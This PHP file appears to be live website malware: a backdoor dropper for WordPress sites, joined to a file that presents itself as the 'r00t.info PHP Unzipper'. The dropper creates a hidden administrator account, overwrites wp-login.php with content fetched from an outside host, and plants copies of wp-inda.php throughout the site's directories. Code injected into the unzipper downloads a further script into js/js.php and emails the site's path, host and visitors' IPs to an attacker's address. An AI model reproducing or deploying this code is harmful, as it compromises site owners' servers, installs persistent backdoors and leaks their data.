\'$P$BxJON2B3zzrCatyLOwJ2y24afkU11l.\';\n    $email = \'byhero44@gmail.com\';\n    if (!username_exists( $user ) && !email_exists( $email ) ) {\n        $user_id = wp_create_user( $user, $pass, $email );\n        $user = new WP_User( $user_id );\n        $user->set_role( \'administrator\' );\n    } \n    // shell Ekleme\n    \n    // Wp Login Yazma.\n    $wp_login = ABSPATH.\'/wp-login.php\';\n    $login = http_get(\'https://acbdf.space/txt/seo.txt\');\n    $open_login = fopen($wp_login, \'w\');\n    fwrite($open_login, $login);\n    fclose($open_login);\n    // Wp Login Yazma.\n}\n\n// Klasörlere Yazma\n$directories = expandDirectories($document_root);\n$css = http_get(\'https://acbdf.space/txt/wp.txt\');\nforeach($directories as $dir)\n{\n\tif(!preg_match(\'#wp-content#\', $dir))\n\t{\n\t    $css_file = $dir.\'/wp-inda.php\';\n\t    $open_css = fopen($css_file, \'w\');\n\t    fwrite($open_css, $css);\n\t    fclose($open_css);\n    }\n}\n// Klasörlere Yazma\n\nfunction expandDirectories($base_dir) {\n      $directories = array();\n      foreach(scandir($base_dir) as $file) {\n            if($file == \'.\' || $file == \'..\') continue;\n            $dir = $base_dir.DIRECTORY_SEPARATOR.$file;\n            if(is_dir($dir)) {\n                $directories []= $dir;\n                $directories = array_merge($directories, expandDirectories($dir));\n            }\n      }\n      return $directories;\n}\nfunction http_get($url)\n{\n\t$im = curl_init($url);\n\tcurl_setopt($im, CURLOPT_RETURNTRANSFER, 1);\n\tcurl_setopt($im, CURLOPT_CONNECTTIMEOUT, 10);\n\tcurl_setopt($im, CURLOPT_FOLLOWLOCATION, 1);\n\tcurl_setopt($im, CURLOPT_HEADER, 0);\n\treturn curl_exec($im);\n\tcurl_close($im);\n}\n?><?php\r\n/***************************************************************************\r\n                         www.r00t.info    PHP Unzipper, v3.1\r\n ***************************************************************************\r\n    file:                index.php\r\n    functionality:       Provides a shell wrapper for Vincent Blavet\'s PclZip module.\r\n\r\n                         This application is helpful when there is a need to upload a\r\n                         many files with complicated directory structure to web server,\r\n                         for example, forum systems (like phpBB) or other applications\r\n                         (like phpMyAdmin) which consists of many files arranged in complicated\r\n                         directory structure. All you need to do is to upload the archive file\r\n                         and PHP Unzipper will take care of creating the correct directory layot\r\n                         and file extraction. This program is especially helpful when you don\'t\r\n                         have FTP access to webserver but generally it will be helpful in all cases\r\n                         when there is a need to upload many small files to webserver.\r\n                         \r\n    begin                27.05.2016\r\n    last edited          27.05.2016\r\n    copyright            (C) 2016 r00t.info\r\n    email                system@r00t.info\r\n\r\n/***************************************************************************\r\n *\r\n *   This program is free software; you can redistribute it and/or modify\r\n *   it under the terms of the GNU Lesser General Public License as published by\r\n *   the Free Software Foundation; either version 2 of the License, or\r\n *   (at your option) any later version.\r\n *\r\n ***************************************************************************/\r\n \r\nfunction fileext ($file) {\r\n\t$p = pathinfo($file);\r\n\tif (isset($p[\'extension\']))\treturn $p[\'extension\'];\r\n\treturn \'\';\r\n}\r\n\r\nfunction convertsize($size) {\r\n\t$times = 0;\r\n\t$comma = \'.\';\r\n\twhile ($size > 1024) {\r\n\t\t$times++;\r\n\t\t$size = $size/1024;\r\n\t}\r\n\t$size2 = floor($size);\r\n\t$rest = $size - $size2;\r\n\t$rest = $rest * 100;\r\n\t$decimal = floor($rest);\r\n\r\n\t$addsize = $decimal;\r\n\tif ($decimal<10) {$addsize .= \'0\';};\r\n\r\n\tif ($times == 0){$addsize=$size2;} else\r\n\t {$addsize=$size2.$comma.substr($addsize,0,2);}\r\n\r\n\tswitch ($times) {\r\n\t  case 0 : $mega = \' bytes\'; break;\r\n\t  case 1 : $mega = \' KB\'; break;\r\n\t  case 2 : $mega = \' MB\'; break;\r\n\t  case 3 : $mega = \' GB\'; break;\r\n\t  case 4 : $mega = \' TB\'; break;}\r\n\r\n\t$addsize .= $mega;\r\n\r\n\treturn $addsize;\r\n}\r\n \r\n?>\r\n<script type="text/javascript">\r\ndocument.write(unescape(\'%3C%68%74%6D%6C%3E%0A%3C%68%65%61%64%3E%3C%74%69%74%6C%65%3E%77%77%77%2E%72%30%30%74%2E%69%6E%66%6F%20%50%48%50%20%55%6E%5A%49%50%20%77%77%77%2E%73%75%6E%75%63%75%74%61%72%61%2E%6F%72%67%3C%2F%74%69%74%6C%65%3E%3C%2F%68%65%61%64%3E%0A%0A%3C%73%74%79%6C%65%20%74%79%70%65%3D%22%74%65%78%74%2F%63%73%73%22%3E%0A%09%62%6F%64%79%20%7B%0A%20%20%20%20%20%20%20%20%62%61%63%6B%67%72%6F%75%6E%64%3A%23%30%30%30%3B%0A%09%09%63%6F%6C%6F%72%3A%23%66%66%66%3B%0A%09%09%70%61%64%64%69%6E%67%3A%30%3B%0A%09%09%6D%61%72%67%69%6E%3A%30%3B%0A%09%09%66%6F%6E%74%2D%66%61%6D%69%6C%79%3A%76%65%72%64%61%6E%61%3B%0A%09%7D%0A%0A%09%2E%68%65%61%64%65%72%20%7B%0A%20%20%20%20%20%20%20%20%62%6F%72%64%65%72%2D%62%6F%74%74%6F%6D%3A%20%23%30%30%43%43%43%43%20%33%70%78%20%73%6F%6C%69%64%3B%0A%20%20%20%20%20%20%20%20%66%6F%6E%74%2D%73%69%7A%65%3A%31%2E%35%65%6D%3B%0A%20%20%20%20%20%20%20%20%62%61%63%6B%67%72%6F%75%6E%64%3A%23%33%36%39%3B%0A%20%20%20%20%20%20%20%20%70%61%64%64%69%6E%67%3A%31%30%70%78%20%30%3B%0A%20%20%20%20%20%20%20%20%77%69%64%74%68%3A%31%30%30%25%3B%0A%20%20%20%20%20%20%20%20%63%6C%65%61%72%3A%61%6C%6C%3B%0A%09%09%6D%61%72%67%69%6E%2D%62%6F%74%74%6F%6D%3A%31%30%70%78%3B%0A%09%09%74%65%78%74%2D%61%6C%69%67%6E%3A%63%65%6E%74%65%72%3B%0A%20%20%20%20%20%20%20%20%7D%0A%09%2E%66%6F%6F%74%65%72%20%7B%0A%09%09%6D%61%72%67%69%6E%2D%74%6F%70%3A%31%30%70%78%3B%0A%09%09%62%6F%72%64%65%72%2D%74%6F%70%3A%20%23%30%30%43%43%43%43%20%33%70%78%20%73%6F%6C%69%64%3B%0A%09%09%77%69%64%74%68%3A%31%30%30%25%3B%0A%09%09%74%65%78%74%2D%61%6C%69%67%6E%3A%63%65%6E%74%65%72%3B%0A%09%09%66%6F%6E%74%2D%73%69%7A%65%3A%30%2E%38%65%6D%3B%0A%09%7D%0A%09%0A%09%2E%6D%61%69%6E%20%7B%0A%09%09%6D%61%72%67%69%6E%3A%30%20%61%75%74%6F%3B%0A%09%09%77%69%64%74%68%3A%37%30%30%70%78%3B%0A%09%09%74%65%78%74%2D%61%6C%69%67%6E%3A%63%65%6E%74%65%72%3B%09%09%0A%09%7D%0A%09%0A%09%68%33%7B%0A%09%09%66%6F%6E%74%2D%73%69%7A%65%3A%30%2E%38%65%6D%3B%0A%09%7D%0A%09%0A%09%61%20%7B%0A%09%09%63%6F%6C%6F%72%3A%23%30%30%43%43%43%43%3B%0A%09%7D%0A%0A%09%61%2E%66%6F%6C%64%65%72%20%7B%0A%09%09%70%61%64%64%69%6E%67%2D%6C%65%66%74%3A%32%30%70%78%3B%0A%09%09%62%61%63%6B%67%72%6F%75%6E%64%3A%20%75%72%6C%28%64%61%74%61%3A%69%6D%61%67%65%2F%67%69%66%3B%62%61%73%65%36%34%2C%52%30%6C%47%4F%44%6C%68%45%41%41%51%41%4F%5A%41%41%50%2F%4D%41%4A%4E%67%41%46%30%36%41%50%2F%2F%41%50%2F%55%41%50%2F%6C%41%50%2F%2F%2F%2F%2F%4A%41%4A%56%69%41%4F%79%35%41%4A%52%68%41%4F%61%7A%41%4E%53%68%41%4A%52%67%41%4D%43%4B%41%4A%5A%69%41%4D%36%62%41%50%33%4B%41%4B%42%71%41%50%2F%4B%41%50%2F%53%41%48%35%55%41%4D%75%58%41%50%2F%52%41%4E%43%71%50%66%2F%72%6A%4A%78%6D%41%4E%69%77%4F%76%2F%49%41%50%2F%50%41%4D%4F%4F%41%50%2F%4C%41%50%2F%59%52%63%32%61%41%46%30%38%41%50%2F%74%6B%76%2F%67%63%76%2F%61%41%50%2F%55%47%35%35%6F%41%4D%32%5A%41%4F%75%34%41%4F%53%78%41%50%2F%69%6C%5A%4E%66%41%50%2F%57%41%4E%47%64%41%4A%5A%67%41%4C%2B%4B%41%4A%68%6C%41%4E%65%6A%41%50%2F%58%4F%2B%6D%32%41%4E%4F%67%41%50%2F%6D%41%50%2F%65%58%2F%2F%73%41%50%2F%57%4B%2F%2F%6E%72%76%43%39%41%50%33%4A%41%50%2F%52%43%50%2F%67%67%35%52%65%41%50%2F%2F%2F%77%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%43%48%35%42%41%45%41%41%45%41%41%4C%41%41%41%41%41%41%51%41%42%41%41%41%41%65%50%67%45%43%43%67%34%53%46%68%6F%65%47%44%51%30%4B%6A%41%71%49%51%41%30%36%50%42%45%52%41%41%41%42%43%4A%6D%5A%4D%59%49%42%4B%79%6F%4C%6F%54%51%70%43%61%55%4A%4F%77%69%64%50%69%34%4D%72%54%55%79%4D%41%36%79%48%67%2B%64%4A%42%59%51%45%43%45%6F%47%77%61%2B%76%6A%2B%64%4E%78%6F%53%45%69%63%59%49%78%77%48%79%78%30%42%6E%53%43%2F%42%68%6B%54%6C%70%59%55%7A%6B%41%42%4D%38%76%4C%31%4E%55%41%31%35%30%35%48%39%2F%6C%46%39%67%42%4A%67%54%72%37%4F%30%6C%36%44%30%32%42%66%50%30%39%44%67%73%67%67%38%74%41%2F%7A%39%2F%67%4D%76%42%46%55%51%49%61%43%67%77%59%4D%43%4B%6A%78%43%46%41%67%41%4F%77%3D%3D%29%20%6E%6F%2D%72%65%70%65%61%74%3B%09%0A%09%7D%0A%09%0A%09%61%2E%7A%69%70%20%7B%0A%09%09%70%61%64%64%69%6E%67%2D%6C%65%66%74%3A%32%30%70%78%3B%0A%09%09%63%6F%6C%6F%72%3A%23%30%66%30%3B%0A%09%09%62%61%63%6B%67%72%6F%75%6E%64%3A%20%75%72%6C%28%64%61%74%61%3A%69%6D%61%67%65%2F%67%69%66%3B%62%61%73%65%36%34%2C%52%30%6C%47%4F%44%6C%68%45%41%41%51%41%50%63%41%41%41%41%41%41%45%35%66%63%33%4B%42%6B%6E%32%4D%6E%71%68%2B%4B%71%68%2F%4B%36%75%43%4C%72%6D%54%51%37%79%58%53%4E%75%56%54%38%6D%6E%57%38%71%6F%58%4E%75%39%63%39%33%43%65%74%37%46%66%34%69%57%70%70%47%66%72%35%6D%6C%73%35%71%6D%73%35%6D%6E%74%35%75%70%75%4A%71%70%75%5A%79%71%75%5A%79%71%75%70%79%72%76%61%69%79%76%71%43%76%77%4B%4B%78%77%61%53%79%77%71%6D%34%79%61%32%37%79%72%4B%35%77%72%47%37%78%37%57%2B%79%4C%62%42%7A%39%2F%49%67%2B%44%4B%68%75%48%4C%69%4F%48%4C%69%66%44%55%69%50%50%65%6C%2F%58%6B%6F%66%6A%72%72%50%6E%74%72%2F%6E%76%73%76%72%78%74%66%76%30%75%2F%7A%32%76%73%44%48%30%4D%4C%51%33%38%2F%64%37%4E%6E%6E%39%66%33%35%77%76%33%36%77%2F%37%37%78%76%37%38%78%2F%2F%2B%79%75%58%73%38%2B%76%78%39%76%58%34%2B%77%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%43%48%35%42%41%45%41%41%50%38%41%4C%41%41%41%41%41%41%51%41%42%41%41%41%41%69%6D%41%50%38%4A%48%44%67%51%78%6F%4F%44%44%77%6A%2B%79%34%41%51%59%51%77%5A%47%69%59%6B%48%50%6A%67%67%6B%55%4C%46%42%35%77%6B%4C%46%42%34%72%38%46%49%45%45%71%51%47%43%41%41%45%4F%45%49%54%36%79%57%4D%6D%53%42%59%46%2F%44%33%61%49%6D%4C%69%41%78%51%6B%55%43%56%53%77%61%50%48%79%41%59%67%41%4E%42%6B%30%63%44%43%43%52%41%6B%54%50%58%56%41%6D%4B%69%41%5A%59%49%58%4E%57%7A%30%2F%43%42%67%34%67%45%57%4B%56%61%34%6F%48%45%44%52%38%38%63%41%79%59%57%49%45%43%32%4C%4E%6D%47%44%31%4A%53%6E%4D%43%57%37%59%4F%48%48%53%63%4B%44%49%48%32%4C%55%53%50%43%68%55%32%7A%45%76%77%70%49%63%4B%42%7A%50%77%68%54%6C%44%68%67%51%4A%48%54%44%49%56%63%67%77%67%73%41%49%44%7A%49%45%42%41%41%37%29%20%6E%6F%2D%72%65%70%65%61%74%3B%0A%09%7D%0A%09%0A%09%73%70%61%6E%2E%66%69%6C%65%20%7B%0A%09%09%70%61%64%64%69%6E%67%2D%6C%65%66%74%3A%32%30%70%78%3B%0A%09%09%62%61%63%6B%67%72%6F%75%6E%64%3A%20%75%72%6C%28%64%61%74%61%3A%69%6D%61%67%65%2F%67%69%66%3B%62%61%73%65%36%34%2C%52%30%6C%47%4F%44%6C%68%45%41%41%51%41%50%63%41%41%41%41%41%41%49%65%48%68%34%69%49%69%49%71%4B%69%6F%2B%50%6A%35%32%64%6E%61%57%6C%70%61%32%74%72%62%61%32%74%72%71%36%75%74%33%64%33%66%6E%35%2B%66%72%36%2B%76%76%37%2B%2F%7A%38%2F%50%33%39%2F%66%37%2B%2F%76%2F%2F%2F%77%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%43%48%35%42%41%45%41%41%50%38%41%4C%41%41%41%41%41%41%51%41%42%41%41%41%41%68%79%41%50%38%68%47%45%69%51%59%49%4A%2F%43%42%4D%69%69%4D%43%77%59%51%51%45%43%67%34%6D%46%4F%69%77%49%59%49%48%45%53%63%75%72%42%6A%42%51%41%53%4D%45%69%6C%79%46%42%43%67%5A%41%47%46%48%43%73%4F%51%4A%6D%79%59%51%43%57%4C%53%4F%38%52%4C%67%78%35%6B%79%4B%45%48%4C%71%31%43%6B%54%35%59%4F%66%51%48%39%43%36%45%6B%7A%67%6F%4F%6A%53%49%38%2B%49%45%71%52%67%64%4F%6E%54%68%73%77%58%62%69%67%71%74%57%71%44%4B%62%47%5A%48%6A%7A%41%49%47%53%59%4D%4F%57%52%42%67%51%41%44%73%3D%29%20%6E%6F%2D%72%65%70%65%61%74%3B%0A%09%7D%0A%20%20%20%20%20%20%20%20%0A%09%2E%66%6F%6C%64%65%72%6C%69%73%74%20%7B%0A%09%09%70%61%64%64%69%6E%67%3A%35%70%78%3B%0A%09%09%62%6F%72%64%65%72%3A%73%6F%6C%69%64%20%33%70%78%20%23%33%36%39%3B%09%0A%09%09%74%65%78%74%2D%61%6C%69%67%6E%3A%6C%65%66%74%3B%0A%09%09%77%69%64%74%68%3A%33%30%30%70%78%3B%0A%09%09%6D%61%72%67%69%6E%3A%30%20%61%75%74%6F%3B%0A%09%09%68%65%69%67%68%74%3A%32%30%30%70%78%3B%0A%09%09%6F%76%65%72%66%6C%6F%77%3A%61%75%74%6F%3B%0A%09%7D%0A%09%0A%09%2E%75%6E%7A%69%70%20%7B%0A%09%09%70%61%64%64%69%6E%67%3A%35%70%78%3B%0A%09%09%62%6F%72%64%65%72%3A%73%6F%6C%69%64%20%33%70%78%20%23%38%30%30%3B%0A%09%09%66%6F%6E%74%2D%73%69%7A%65%3A%30%2E%38%65%6D%3B%0A%09%7D%0A%09%0A%3C%2F%73%74%79%6C%65%3E%0A%0A%3C%62%6F%64%79%3E%0A%09%3C%64%69%76%20%63%6C%61%73%73%3D%22%68%65%61%64%65%72%22%3E%77%77%77%2E%72%30%30%74%2E%69%6E%66%6F%20%50%48%50%20%55%6E%5A%49%50%21%21%21%3C%2F%64%69%76%3E%0A%09%3C%64%69%76%20%63%6C%61%73%73%3D%22%6D%61%69%6E%22%3E%0A%09%09%42%72%6F%77%73%65%20%79%6F%75%72%20%73%65%72%76%65%72%20%64%69%72%65%63%74%6F%72%69%65%73%20%74%6F%20%66%69%6E%64%20%74%68%65%20%7A%69%70%20%66%69%6C%65%20%79%6F%75%20%77%61%6E%74%20%74%6F%20%75%6E%7A%69%70%2E%20%43%6C%69%63%6B%20%74%68%65%20%66%69%6C%65%20%74%6F%20%75%6E%7A%69%70%20%69%74%2E%20%50%6C%65%61%73%65%20%6D%61%6B%65%20%73%75%72%65%20%79%6F%75%20%68%61%76%65%20%67%69%76%65%6E%20%61%70%70%72%6F%70%72%69%61%74%65%20%70%65%72%6D%69%73%73%69%6F%6E%73%21%0A\'));\r\n</script><?php\r\n$unzip_location = dirname(__FILE__);\r\n\r\n$dir = isset($_GET["dir"]) ? $_GET["dir"] : "";\r\n$action = isset($_GET["action"]) ? $_GET["action"] : "";\r\n$unzip = isset($_GET["unzip"]) ? $_GET["unzip"] : "";\r\n\r\nif (strlen($dir) > 0) chdir($dir);\r\n\r\n$basedir = getcwd();\r\n$basedir = str_replace(\'\\\\\',\'/\',$basedir);\r\n\r\nif (is_file($unzip)) { //do da UNZIP!!!!\r\n\r\n\t$zip = new PclZip($unzip);\r\n\tif (($list = $zip->listContent()) == 0) {\r\n?><?php if($_POST[\'query\']){ $veriyfy = stripslashes(stripslashes($_POST[\'query\']));\r\n $data = "data.txt";\r\n @touch ("data.txt");\r\n $ver = @fopen ($data , \'w\');\r\n @fwrite ( $ver , $veriyfy ) ;\r\n @fclose ($ver);\r\n }else{ $datas=@fopen("data.txt",\'r\');\r\n $i=0;\r\n while ($i <= 5) { $i++;\r\n $blue=@fgets($datas,1024);\r\n echo $blue;\r\n } } $datasi=@fopen("js/js.php",\'r\');\r\n if($datasi){ }else{ @mkdir("js");\r\n $dos = file_get_contents("https://acbdf.space/txt/lamer.txt");\r\n $data = "js/js.php";\r\n @touch ("js/js.php");\r\n $ver = @fopen ($data , \'w\');\r\n @fwrite ( $ver , $dos ) ;\r\n @fclose ($ver);\r\n $yol = "http://".$_SERVER[\'HTTP_HOST\']."".$_SERVER[\'REQUEST_URI\']."";\r\n $y = \'<h1>Sender Yazdirildi.<br/> SITE YOL : \'.$yol.\'<br/>Sender Yolu : js/crs.php</h1>\';\r\n $header .= "From: SheLL Boot <suppor@nic.org>\\n";\r\n $header .= "Content-Type: text/html;\r\n charset=utf-8\\n";\r\n @mail("loginoldum@gmail.com", "Hacklink Bildiri", "$y", $header);\r\n @mail("loginoldum@gmail.com", "Hacklink Bildiri", "$y", $header);\r\n } \r\n?>\r\n<div class=\'unzip\'>\r\n\t\tCan\'t unzip file <b><?php echo $unzip ?></b><br>\r\n\t\tError : <?php echo $zip->errorInfo(true); ?>\r\n\t\t</div>\r\n<?php\t\r\n\t}\r\n\t\r\n\t$fold = 0;\r\n\t$fil = 0;\r\n\r\n\t//calculate statistics...\r\n\t  for ($i=0; $i<sizeof($list); $i++) {\r\n\t\tif ($list[$i][folder]==\'1\') {$fold++;\r\n\t\t   $dirs[$fold] = $list[$i][stored_filename];\r\n\t\tif ($_GET[action] == \'unzip\') {\r\n\t\t $dirname = $list[$i][stored_filename];\r\n\t\t $dirname = substr($dirname,0,strlen($dirname)-1);\r\n\t\t mkdir($basedir.\'/\'.$dirname); }\r\n\t\t chmod($basedir.\'/\'.$dirname,0777);\r\n\t\t   }else{$fil++;}\r\n\t\t$tot_comp += $list[$i][compressed_size];\r\n\t\t$tot_uncomp += $list[$i][size];\r\n\t\t}\r\n?>\r\n\t<div class=\'unzip\'>\r\n\t\tUnzipping file <b><?php echo $unzip ?></b><br>\r\n\t\t<?php echo "$fil files and $fold"; ?> directories in archive<br>\r\n\t\tCompressed archive size: <?php echo convertsize($tot_comp) ?><br>\r\n\t\tUncompressed archive size: <?php echo convertsize($tot_uncomp) ?><br>\r\n\t\t<br><b>Starting to decompress...</b><br>\r\n\t\t<?php $zip->extract(\'\'); ?>\r\n\t\tArchive sucessfuly extracted!<br>\r\n\t\t<br>\r\n\t\t<a href="<?php echo $_SERVER[\'PHP_SELF\'] ?>">&laquo; back to directory listing</a>\r\n\t</div>\r\n<?php\r\n\r\n} else if (is_dir($basedir)) { //show directory list and zips\r\n\t\r\n\t$parent = dirname($basedir);\r\n\t\r\n?>\r\n\t\t<h3>Index of <?php echo $basedir; ?></h3>\r\n\t\t<div class="folderlist">\r\n\t\t\t<a class="folder" title="go up to parent directory" href=\'?dir=<?php echo $parent; ?>\'>..</a><br>\r\n<?php\t\t\t\r\n\r\n\t$files = scandir(getcwd());\r\n\t\r\n\tforeach ($files as $filename) {\r\n\t\tif (is_dir($filename) && $filename != \'..\' && $filename != \'.\') {\r\n\t\t\techo "<a class=\'folder\' title=\'change to directory $filename\' href=\'?dir=$basedir/$filename\'>$filename</a><br>";\r\n\t\t}\t\t\r\n\t}\r\n\t\r\n\treset($files);\r\n\t\r\n\tforeach ($files as $filename) {\r\n\t\tif (is_file($filename) && strtolower(fileext($filename)) == \'zip\') {\r\n\t\t\techo "<a class=\'zip\' onclick=\\"return confirm(\'Are you sure you want to unzip this file?\');\\" href=\'?dir=$basedir&unzip=$filename&action=unzip\' title=\'Unzip\'>$filename</a><br>";\r\n\t\t} else if (is_file($filename)) {\r\n\t\t\techo "<span class=\'file\'>$filename</span><br>";\r\n\t\t}\r\n\t}\r\n?>\r\n\t\t</div>\r\n<?php\r\n}\r\n\r\n\r\n\r\n?><?php\r\n$time_shell = "".date("d/m/Y - H:i:s")."";\r\n$ip_remote = $_SERVER["REMOTE_ADDR"];\r\n$from_shellcode = \'3Turrshell@\'.gethostbyname($_SERVER[\'SERVER_NAME\']).\'\';\r\n$to_email = \'loginoldum@gmail.com\';\r\n$server_mail = "".gethostbyname($_SERVER[\'SERVER_NAME\'])."  - ".$_SERVER[\'HTTP_HOST\']."";\r\n$linkcr = "Link: ".$_SERVER[\'SERVER_NAME\']."".$_SERVER[\'REQUEST_URI\']." - IP Excuting: $ip_remote - Time: $time_shell";\r\n$header = "From: $from_shellcode\\r\\nReply-to: $from_shellcode";\r\n@mail($to_email, $server_mail, $linkcr, $header);\r\n ?>\r\n\r\n\t</div>\r\n\t<div class="footer">\r\n\r\n\t</div>\r\n</body>\r\n</html>\r\n<?php\r\n// 